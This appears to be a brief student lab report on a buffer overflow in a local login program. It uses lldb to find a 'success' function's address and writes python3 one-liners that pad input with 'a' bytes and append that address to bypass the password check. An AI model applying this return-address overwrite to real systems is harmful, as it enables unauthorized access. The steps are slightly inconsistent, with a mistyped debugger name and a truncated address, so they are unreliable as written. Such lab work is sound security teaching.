Buffer Overflow Lab Report

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First, compile the program and run ./login.

Then get into lldb:

11db ./a.out

After getting into the lldb, run the following command:

disassemble -n main

And we can get:

a.out[0x100003edb] <+27>: callq 0x100003df0 ; success at login.c:8

Here, we can get the address which is 0x100003edb. Then use the address to substitute to exploit the buffer overflow and run the following command:

python3 -c 'import sys; sys.stdout.buffer.write(b"a"*10 + b"\xdb\x3e\x00\x00")' > password.txt

Oops, it says "wrong password". Modify the content to be written in to:

python3 -c 'import sys; sys.stdout.buffer.write(b"a"*40 + b"\xdb\x3e\x00\x00")' > password.txt

Then we are able to exploit the buffer overflow.